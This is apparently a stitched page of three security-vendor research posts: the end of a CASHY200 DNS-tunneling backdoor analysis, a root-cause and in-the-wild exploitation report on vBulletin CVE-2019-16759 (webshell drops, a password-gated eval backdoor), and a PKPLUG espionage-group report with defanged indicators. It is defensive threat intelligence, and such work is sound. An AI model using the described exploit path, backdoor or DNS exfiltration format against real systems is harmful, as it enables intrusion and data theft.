After running the custom command ‘whoami’, CASHY200 sends the results to the C2 server in a slightly different manner than how it sends the results of the ‘hostname’ command discussed earlier. CASHY200 begins sending the results of the custom command by issuing a query to resolve YqpZf6352454441435445443.windows64x[.]com, which contains a request type of c (63 in the subdomain) and the number 3 as the data field. CASHY200 uses the number in the data field of this request to notify the C2 how many queries it will send to transmit the results of the custom command.

After sending the count of queries required to transmit the results, CASHY200 issues the following three queries, all of which have a request type of r (72 in the subdomains):

  1. QMNnv7252454441435445443130316447567a6443317a65584e305a57303d.windows64x[.]com
  2. OlBCh7252454441435445443130324c575a30643178305a584e304c513d3d.windows64x[.]com
  3. XUkra72524544414354454431303364584e6c63673d3d.windows64x[.]com

The three queries used to send the results of the custom command include a sequence number starting at 101 that increments each query followed by data, all of which is represented as hexadecimal bytes. After converting the hexadecimal bytes, the queries contain 101dGVzdC1zeXN0ZW0=, 102LWZ0d1x0ZXN0LQ==, and 103dXNlcg==, which shows the incrementing sequence numbers followed by the base64 encoded results of the custom ‘whoami’ command, which in our test case was test-system-ftw\test-user. Table 6 shows how the C2 server will process the three queries issued by CASHY200 to transmit the results of the custom command.

Sequence Number Encoded Data Decoded Data
101 dGVzdC1zeXN0ZW0= test-system
102 LWZ0d1x0ZXN0LQ== -ftw\test-
103 dXNlcg== user

Table 6. Our C2 processing data sent by CASHY200 in response to the custom command ‘whoami’

After sending the results of the custom ‘whoami’ command, CASHY200 issues the DNS query fvSwZ665245444143544544.windows64x[.]com with the request type f (66 in the subdomain) to notify the C2 it is done sending data.

Conclusion

According to our initial publication, the xHunt Campaign targeted Kuwait organizations using several custom tools to compromise systems. We discovered another custom tool that we call CASHY200, which is a PowerShell-based backdoor that communicates with a C2 server using DNS tunneling. We found evidence through open source collection that this threat group used CASHY200 to target Kuwait government organizations. While we cannot confirm the specific organizations mentioned in the open source, we can confirm that another Kuwait organization was targeted by this group based on our own telemetry from our DNS Security service. These discoveries suggest that this threat group has targeted Kuwait organizations since the spring of 2018 through 2019, which includes organizations in both government and shipping and transportation industries.

Palo Alto Networks customers are protected from the tools mentioned in this blog through the following:

    • Customers using AutoFocus can view this activity by using the xHunt and CASHY200 tags
    • The DNS tunneling protocols referenced in this blog are detected through DNS Security automated detection.
    • C2 domains windows64x[.]com, firewallsupports[.]com, windows-updates[.]com, and winx64-microsoft[.]com are classified as malicious in Threat Prevention and URL Filtering.
    • All CASHY200 samples identified are detected as malicious by WildFire and Traps.
    • All CASHY200 tunneling protocols are blocked by DNS Security.

Special thanks to Daiping Liu and Jun Javier Wang for the notification and assistance regarding the DNS Security service blocking this DNS tunneling activity.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

Executable Droppers

ffe2e9b274b00ea967c96eca9c177048c35de75599488f1b8be5ae1cceba00d9
3e13f539071d56106e252566b436933ccffd2d509f0c3fae916748971663946c
1f48eceb9dca085d8eb2bcea1dde28e2643e1b198b0a7e998d7708fa68d43575
79c8ceb3627a8d35c8e7255007d87af8e20f1eb341b5446da1e063cf5da39c6f

Word Delivery Documents

bce37fc0d97ac6bed24098ecf4187081e9a664c87d4fe558f3e46928140c835f
5a3c156565f4243eacf179b95696a15a2e1c460315ff0940c0c71c4f587eb4b3
45b2db5a78758f9d5125897da4a31c67e68424269eeed58646a87326a2b45d80
ce6b44af79db56be053f63426acee02c591a2e19ef29f43227ea5b0640e9b24a
0b5476369bca1d9998aa4a53dfe9e958268cd48ac69f9a16001f842330133fe6
396235b998ab348e7f82f1145e8566820652f187c28df2cdeb0dc9b0ef790422

CASHY200 Samples

eccc65711cbd154f680e8c8ef343d53f29e4a6237510abd4ad1eab5742b035b3
a0ce856d224ee04558e5cb67bda8ae4733dd40f5a8e59ab5a799d7d1378625b4
b62c3aa413cc5bd551836328b9740ddd50c1a8aa7a04ea0e301fa507724e18f6
e36a4056b32e094ff6b0aefb2ffe11f033969dc10fa58199559d8c117d0e1b6f
2b73fe5b9ba44fadcee8657cb2d2b37aab8d0a3be4ed1f437c83f4594e501cd6
788687e478704b324089af011cbe20d9d3a590283dd85e45ffe3e51a340f58ca
ffe2e9b274b00ea967c96eca9c177048c35de75599488f1b8be5ae1cceba00d9
3e13f539071d56106e252566b436933ccffd2d509f0c3fae916748971663946c
1f48eceb9dca085d8eb2bcea1dde28e2643e1b198b0a7e998d7708fa68d43575
79c8ceb3627a8d35c8e7255007d87af8e20f1eb341b5446da1e063cf5da39c6f

CASHY200 C2 domains

windows64x[.]com
winx64-microsoft[.]com
firewallsupports[.]com
windows-updates[.]com

Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2019-16759

Posted on by Qi Deng

Executive Summary

A new zero-day vulnerability was recently disclosed for vBulletin, a proprietary Internet forum software and the assigned CVE number is CVE-2019-16759. Now, several weeks later, Unit 42 researchers have identified active exploitation of this vulnerability in the wild. By exploiting this vulnerability, an unauthenticated attacker can gain privileged access and control over any vBulletin server running versions 5.0.0 up to 5.5.4, and potentially lock organizations out from their own sites. More than 100,000 sites are built on vBulletin, including the forums of major enterprises and organizations, so it’s imperative to patch immediately.

In this blog post we provide new details on the root cause of the vulnerability, proof of concept code (PoC) to demonstrate the vulnerability, and information on attacks we have observed in the wild.

Root Cause Analysis of the Vulnerability

This is a pre-auth remote code execution vulnerability with a 9.8 CVSS v3.1 base score. This is caused by a PHP server-side template injection by the Ajax render function which was introduced on the vBulletin version 5.0.0.

This code starts in index.php.

Figure 1. Entry Point of the vulnerability (index.php)

The code calls vB5_Frontend_ApplicationLight::isQuickRoute() to check whether the request is a “quick route.” The method isQuickRoute() is in includes/vb5/frontend/applicationlight.php:

Figure 2. isQuickRoute function (includes/vb5/frontend/applicationlight.php)

As shown in Figure 2, the function will return true if there is a ‘ajax/api’ or ‘ajax/render’ at the beginning of the request. Then the vB5_Frontend_ApplicationLight object will be initiated and executed according to Figure 1.

Figure 3. Ajax render handler (includes/vb5/frontend/applicationlight.php)

Figure 3 shows the handler will be set to ‘callRender’ when the request is start with ‘ajax/render.’

Figure 4. callRender() renders the template (includes/vb5/frontend/applicationlight.php)

Figure 4 shows the callRender() function will render the template using the name coming from the $routeInfo[2] and $params coming from array_merge($_POST, $GET).

Figure 5. widget_php template (core/install/vbulletin-style.xml)

Figure 5 shows there is a ‘widget_php’ template in the vbulletin-style.xml file. According to the template, when $widgetConfig['code'] is not empty and $vboptions['disable_php_rendering']is disabled, the following code will be executed:

Figure 6. evalCode() function (includes/vb5/frontend/controller/bbcode.php)

Figure 6 shows the evalCode function, the text in $code will be executed directly by the PHP eval() function.

If we can construct a request with the params:

Proof of Concept

Based on the analysis, we can construct the exploit code to prove the functionality. Since the parameter “routestring” is from $_REQUEST, it can be sent through $_GET, $_POST or $_COOKIE HTTP methods. “widgetConfig[code]” can be sent through $_GET, $_POST. As such, our simple POC can be constructed as the following and sent as either a GET or POST request:

 

 

 

Figure 7. Vulnerability demonstrated through a GET request

Figure 7 shows that phpinfo() runs when the PoC is sent through a GET request.

Figure 8. PoC through POST request

Figure 8 shows phpinfo() runs when the PoC is sent through POST request.

Exploits in the Wild

We have detected multiple attempts to exploit this vulnerability in the wild through Palo Alto Networks Next-Generation Firewall. Below we’ve summarized three of these attempts.

In the first example (Figure 9) the attacker attempts to execute die(@md5(HellovBulletin)) to determine whether a server is vulnerable or not but due to an additional “=” sign included in their request, the exploitation fails.

Figure 9. POST request for the failed exploit attempt

Figure 10 shows the attacker try to create a “webconfig.txt.php” in the web root directory.

Figure 10. POST request for exploit modifying webconfig.txt.php

Figure 11 shows the content of “webconfig.txt.php” and it’s a one-line PHP webshell which would allow the attacker to send any command they live to the script and have it executed by the host.

Figure 11. Content after base64 decode

Figure 12 shows the third example, where the attackers try to overwrite the file bbcode.php.

Figure 12. Attacker tries to overwrite the bbcode.php

If successful, the evalCode() will turn into the following code:

By doing this, the compromised site can only execute code in the evalCode() function when the “epass” is sent through request with the value “2dmfrb28nu3c6s9j”. This would prevent other attackers from taking control of the compromised site and allow a botnet command-and-control (C2) server to exclusively exploit this vulnerability and issue commands to the targeted server.

Conclusion

There are multiple exploits already in the wild for this new vBulletin vulnerability. vBulletin is a very popular software package used by many high-profile organizations (See the vBulletin website for examples) and this makes it prized target.

To resolve this vulnerability, web administrator should update the vBulletin to version 5.5.2/3/4 Patch Level 1 or disable PHP, Static HTML, and Ad Module rendering setting in the administration panel.

Palo Alto Networks customers are protected from those two vulnerabilities by the following products and services:

  • Threat Prevention Signature 56632 and 56627.
  • URL Filtering marks the following IP addresses as suspicious, as these have been actively attempting to exploit this vulnerability.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

IOCs

132[.]232[.]236[.]207

69[.]160[.]169[.]100

154[.]221[.]17[.]40

103[.]45[.]105[.]234

150[.]109[.]116[.]145

117[.]50[.]67[.]41

218[.]207[.]20[.]109

112[.]213[.]103[.]96

106[.]54[.]225[.]43

103[.]120[.]83[.]11

193[.]8[.]80[.]129

192[.]186[.]2[.]205

175[.]126[.]145[.]10

144[.]202[.]100[.]24

154[.]223[.]154[.]103

122[.]152[.]215[.]43

103[.]103[.]68[.]99

45[.]249[.]181[.]8

180[.]76[.]234[.]185

106[.]12[.]205[.]15

216[.]83[.]52[.]60

49[.]234[.]48[.]107

193[.]112[.]203[.]71

132[.]232[.]220[.]67

185[.]23[.]201[.]31

103[.]68[.]173[.]13

156[.]224[.]8[.]52

103[.]250[.]6[.]215

117[.]78[.]35[.]14

106[.]13[.]82[.]38

PKPLUG: Chinese Cyber Espionage Group Attacking Southeast Asia

Posted on by Alex Hinchliffe

Executive Summary

For three years, Unit 42 has tracked a set of cyber espionage attack campaigns across Asia, which used a mix of publicly available and custom malware. Unit 42 created the moniker “PKPLUG” for the threat actor group, or groups, behind these and other documented attacks referenced later in this report. We say group or groups as our current visibility doesn’t allow us to determine with high confidence if this is the work of one group, or more than one group which uses the same tools and has the same tasking. The name comes from the tactic of delivering PlugX malware inside ZIP archive files as part of a DLL side-loading package. The ZIP file format contains the ASCII magic-bytes “PK” in its header, hence PKPLUG.

While tracking these attackers, Unit 42 discovered additional, mostly custom malware families being used by PKPLUG beyond that of just PlugX. The additional payloads include HenBox, an Android app, and Farseer, a Windows backdoor. The attackers also use the 9002 Trojan, which is believed to be shared among a small subset of attack groups. Other publicly available malware seen in relation to PKPLUG activity includes Poison Ivy and Zupdax.

During our investigations and research into these attacks, we were able to relate previous attacks documented by others that date back as far back as six years ago. Unit 42 incorporates these findings, together with our own, under the moniker PKPLUG and continue to track accordingly.

It’s not entirely clear as to the ultimate objectives of PKPLUG, but installing backdoor Trojan implants on victim systems, including mobile devices, infers tracking victims and gathering information is a key goal.

We believe victims lay mainly in and around the Southeast Asia region, particularly Myanmar, Taiwan, Vietnam, and Indonesia; and likely also in various other areas in Asia, such as Tibet, Xinjiang, and Mongolia. Based on targeting, content in some of the malware and ties to infrastructure previously documented publicly as being linked to Chinese nation-state adversaries, Unit 42 believes with high confidence that PKPLUG has similar origins.

Targeting

Based on our visibility into PKPLUG’s campaigns and what we’ve learned from collaborating with industry partners, we believe victims lay mainly in and around the Southeast Asia region. Specifically, the target countries/provinces include (with higher confidence), Myanmar and Taiwan as well as (with lower confidence), Vietnam and Indonesia. Other areas in Asia targeted include Mongolia, Tibet and Xinjiang. This blog, and the associated Adversary Playbook, provides further details including: the methods used for malware delivery, the social engineering topics of decoy applications and documents and the Command & Control (C2) infrastructure themes.

Indonesia, Myanmar and Vietnam are ASEAN members, contributing towards intergovernmental cooperation in the region. Mongolia, specifically the independent country also known as Outer Mongolia, has a long-standing and complex relationship with the PRC. Tibet and Xinjiang are autonomous regions (AR) of China that tend to be classified by China’s ethnic minorities, granted the ability to govern themselves but ultimately answering to the People’s Republic of China (PRC). Tibet and Xinjiang are the only ARs, from five, where the ethnic group maintains a majority over other populations.

Most, if not all, of the seven countries or regions, are involved in some way with Beijing's Belt and Road Initiative (BRI) designed to connect 71 countries across Southeast Asia to Eastern Europe and Africa. The path through Xinjiang is especially important to the BRI’s success, but is more often heard of due to conflicts between the Chinese government and the ethnic Uyghur population. News of the BRI is peppered with stories of success and failure, of countries for and against the BRI and of countries pulling out of existing BRI projects.

Further tensions in the region are attributed to ownership claims over the South China Sea, including fishing quotas and the yet unproven oil and gas reserves. At least three of the target countries mentioned (Malaysia, Taiwan and Vietnam) have laid claim to parts of these waters, and some use the area for the vast majority of their trade. Foriegn militaries also patrol, attempting to keep the area open.

Taiwan, which isn’t an AR and doesn’t appear to be actively involved with the BRI, has its own long-standing history with the PRC -- a recent $2.2 billion arms sale with the U.S. may exacerbate matters.

Timeline

Before continuing, it’s worth highlighting our research and others relating to the intrusion set that we refer to as PKPLUG. This section documents prior work surrounding cyber attacks relating to PKPLUG. The following figure illustrates the chronological order of the publications -- highlighting some key findings from each.

As you can see from the timeline, PKPLUG has been active for six years or more with a variety of targets and methods of delivery and compromise.

Figure 1. Timeline of publications and key findings relating to PKPLUG

Please note: the dates shown on the horizontal timeline bar in Figure 1 above relate to the publishing date, not the campaign dates, although some were fairly close together. As an example to illustrate the difference in dates, HenBox was discovered in 2018 but has samples ranging from 2015 through to this week. PlugX and Poison Ivy are still doing the rounds and their use by different groups is well known. Whether they relate to PKPLUG is another matter.

#1: In November 2013, Blue Coat Labs published a report describing a case of attacks against Mongolian targets using PlugX malware. Like so many other attacks using PlugX over the past decade or more, Blue Coat noted the DLL side-loading technique used to launch the malicious payload via legitimate, signed applications. Their report also documented the group’s use of an exploit against software vulnerabilities in Microsoft Office. In this case, using a weaponized Word document saved as a Single File Web Page format -- usually having an mht file extension -- in order to exploit CVE-2012-0158 to drop and execute a signed WinRAR SFX archive containing the side-loading package and PlugX payload. Considering all the malware related to PKPLUG that Unit 42 has analyzed, the use of such exploits appears to be less common than a spear-phishing technique making use of social engineering to lure victims into running their malware.

#2: A report published in April 2016 by Arbor Networks detailed recent cyber attacks using Poison Ivy malware against targets in Myanmar and other countries in Asia over the previous twelve months.

They noted phishing emails using ASEAN membership, economics and democracy-related topics to weaponize documents delivering the Poison Ivy payloads. While Arbor didn’t know the exact victims, they inferred suspect targets based on the content of emails and associated malware. DLL side-loading was also mentioned as the method to install the malware.

#3: Unit 42 published research that reported attacks using the 9002 Trojan delivered through Google Drive. The download originated with a spear-phishing email containing a shortened URL that redirected multiple times before downloading a ZIP file hosted on Google Drive. The redirection using HTTP also contains information about the victim who received the spear-phish and clicked the link. In this case, the information related to a well-known politician and human rights activist in Myanmar. The filename of the ZIP archive also related to initiatives in the country, as did the decoy document contents. The ZIP file contained a DLL side-loading package abusing a Real Player executable signed by RealNetworks, Inc. in order to load the 9002 payload.

#4: In March 2017, researchers published a report in Japanese (later translated into English) that described attacks seen by VKRL -- a Hong Kong-based cybersecurity company -- that were using spear-phishing emails with URLs using GeoCities Japan to deliver malware. The content of the website contained encoded VBScript that executed PowerShell commands to download a Microsoft Word document from the same GeoCities site, as well as another encoded PowerShell script closely resembling PowerSploit -- a PowerShell post-exploitation framework for pentesters that’s available on GitHub -- that was responsible for decoding and launching a Poison Ivy payload.

Another GeoCities account was found hosting similar packages, including one targeting Mongolia based on the contents of the decoy documents. The contents of the file, assuming a victim clicked on the URL in the spear-phishing email, resembles the structure used in a technique known as AppLocker Bypass whereby trusted Windows executables can be used to execute malicious payloads.

#5: In early 2018, Unit 42 discovered a new Android malware family that we named “HenBox” and is tracking over 400 related samples dating back as far as late 2015, and continuing to present day. HenBox often masquerades as legitimate Android apps and appears to primarily target the Uyghurs -- a minority Turkic ethnic group that is primarily Muslim and lives mainly in the Xinjiang Uyghur Autonomous Region in Northwest China and also targets devices made by Chinese manufacturer Xiaomi.

Smartphones are the dominant form of internet access in the region and hence make good targets for such malware. Once installed, HenBox steals information from a myriad of sources on the device including harvesting outgoing phone calls to numbers with an “+86” prefix -- the country code for the PRC -- and accessing the device microphone and cameras.

During investigations, data revealed an older version of HenBox had been downloaded from the uyghurapps[.]net website, which appears to be third-party Android app store serving the Uyghur community based on the domain name, language of the site and app content hosted. HenBox was masquerading as an another app -- DroidVPN -- which was also embedded within HenBox and installed post-infection.

#6: Based on further investigations and pivoting around HenBox infrastructure, Unit 42 discovered a previously-unknown Windows backdoor Trojan called Farseer. Farseer also uses the DLL side-loading technique to install payloads -- this time favoring a signed Microsoft executable from VisualStudio to appear benign. A VBScript component is used, via a registry persistence hook, to launch the Microsoft executable and the Farseer payload during the user login process. In earlier Farseer variants, we saw decoy documents being used, including one case of a PDF containing a news article relating to Myanmar. Mongolia also appears to be a target based on telemetry provided by an industry partner of ours.

Further information relating to these publications, together with respective Indicators of Compromise (IoC) and Tactics, Techniques and Procedures (TTPs) used, are available in the PKPLUG Adversary Playbook.

Tying It All Together

The following Maltego image shows the vast majority of known infrastructure and some of the known malware samples related to PKPLUG, and the chart continues to grow as we discover more about this adversary. The indexed shapes that overlay the figure provide a reference back to the published work chronology mentioned above.

Figure 2. PKPLUG Maltego diagram highlighting published research

Overlaps between the different campaigns documented, and the malware families used in them, exist both in infrastructure (domain names and IP addresses being reused, sometimes in multiple cases) and in terms of malicious traits (program runtime behaviors or static code characteristics are also where relationships can be found or strengthened).

Figure 3 below shows a very simplified view of the six core publications again, as per Figure 2 above, but with trimmed-down infrastructure to highlight some of the core overlaps.

Figure 3. Simplified Maltego diagram showing high-level ties

The C2 infrastructure blogged by Blue Coat Labs in their publication (#1) “PlugX used against Mongolian targets” included ppt.bodologetee[.]com has infrastructure ties microsoftwarer[.]com through a shared IPv4 with parent domain bodologetee[.]com. Domain microsoftwarer[.]com was found after threat hunting based on facts provided in publication (#4) “"FHAPPI” Campaign: FreeHosting APT PowerSploit Poison Ivy” in relation to the FHAPPI campaign.

The FHAPPI campaign (#4) was documented as using PowerShell and PowerSploit code in order to infect victims with Poison Ivy, but very similar code was also found around PlugX malware, some of which had C2 communication with logitechwkgame[.]com. Domain logitechwkgame[.]com was documented by Unit 42 in publication (#3) “Attack Delivers 9002 Trojan Through Google Drive” as the C2 for the 9002 Trojans analyzed. FHAPPI is also connected through another malware using C2 infrastructure that relates, through a shared IPv4 address, to microsoftdefence[.]com, which malware documented in Arbor Networks’ publication (#2) “Poison Ivy Activity Targeting Myanmar, Asian Countries” also used for C2 communication. Other Poison Ivy samples also related to the campaigns documented by Arbor Networks used domain webserver.servehttp[.]com for C2 communication. Said samples also shared overlaps in runtime characteristics with other Poison Ivy samples that have been analyzed and confirmed as having C2 communications with certain domains that relate to both Blue Coat Labs’ publication (#1) and Unit 42’s research into Farseer malware and their publication (#6) “Farseer: Previously Unknown Malware Family bolsters the Chinese armoury”. Domains include yahoomesseges[.]com and outhmail[.]com, tcpdo[.]net, queryurl[.]com and cdncool[.]com respectively. The same registrant of yahoomesseges[.]com - mongolianews@yahoo[.]com - also registered ppt.bodologetee[.]com mentioned slightly earlier.

Some HenBox malware has used domain cdncool[.]com as well for its C2 communications, as documented in Unit 42’s publication (#5) “The Chickens Come Home to Roost.” Domain cdncool[.]com is thus connected not only to HenBox and Farseer campaigns, but also, through Poison Ivy malware, to the campaigns documented by Blue Coat Labs and Arbor Networks. HenBox is also connected through a third-level domain update.queryurl[.]com to queryurl[.]com that has been used for C2 communications by some Farseer samples.

Other overlaps, mainly in infrastructure also exist (as seen in Figure 2 above) but are difficult to describe in a blog like this, hence using Maltego. Figure 3, as mentioned earlier, is a simplified diagram to highlight some core overlaps.

PKPLUG’s Adversary Playbook

Unit 42 has previously described and published Adversary Playbooks you can view using our Playbook Viewer. To recap briefly, Adversary Playbooks provide a Threat Intelligence package in STIX 2.0 that include all IoCs for known attacks by a given adversary. In addition, said packages also include structured information about attack campaigns and adversary behaviours -- their TTPs) -- described using Mitre’s ATT&CK framework.

The Adversary Playbook for PKPLUG can be viewed here, and the STIX 2.0 content behind that can be downloaded from here. The Playbook contains several Plays (aka campaigns; instances of the Attack Lifecycle) that map, for the most part, to published research previously mentioned in this blog. There exists Plays including specific details from publications by Blue Coat Labs, Arbor Networks, our publication on the 9002 Trojan, and the FHAPPI campaign. HenBox has two Plays -- one for the known attack compromising a third-party app store to deliver the malware and another containing all other HenBox data. A similar single campaign exists for Farseer containing all related data.

Conclusion

Establishing a clear picture and understanding about a threat group, or groups, is virtually impossible without total visibility into every one of their attack campaigns. Based on this, applying a handle or moniker to a set of related data -- such as network infrastructure, malware behavior, actor TTPs relating to delivery, exfiltration, etc. -- helps us to better understand what it is we’re investigating. Sharing this information -- with a handle, in this case PKPLUG -- especially in a structured, codified manner a la Adversary Playbooks, should allow others to contribute their vantage points and enrich said data until the understanding of a threat group becomes lucid.

Based on what we know and what we’ve gleaned from others’ publications, and through industry sharing, PKPLUG is a threat group, or groups, operating for at least the last six years using several malware families -- some more well-known: Poison Ivy, PlugX, and Zupdax; some are less well-known: 9002, HenBox, and Farseer. Unit 42 has been tracking the adversary for three years and based on public reporting believes with high confidence that it has origins to Chinese nation-state adversaries. PKPLUG targets various countries or provinces in and around the Southeast Asia region for multiple possible reasons as mentioned above, including some countries that are members of the ASEAN organisation, some regions that are autonomous to China, some countries and regions somewhat involved with China’s Belt and Road Initiative, and finally, some countries that are embroiled in ownership claims over the South China Sea.

The Playbook Viewer helps to highlight some of the more common TTPs used by PKPLUG but, based on our visibility, spear-phishing emails to deliver payloads to their victims is very popular. Some email attachments contained exploits taking advantage of vulnerable Microsoft Office applications, however this technique was less commonly used compared with social engineering to lure the victim into opening attachments. DLL side-loading seems almost ubiquitous as a method to install or run their payloads, though perhaps more recently, PowerShell and PowerSploit is also being considered. Other TTPs are described in the STIX 2.0 package and presented in the Viewer.

The use of Android malware shows intent to get at targets where perhaps traditional computers, operating systems and ways of communicating are different from previous targets.

Palo Alto Networks detects customers are protected by these threats through the following:

  • Customers using AutoFocus can view this activity by using the following tags:
    PKPlug
  • All malware identified are detected as malicious by WildFire and Traps

 

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

Indicators of compromise relating to PKPLUG can be found in the Adversary Playbook through the Playbook Viewer itself, or indirectly from the STIX 2.0 JSON file powering it.

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow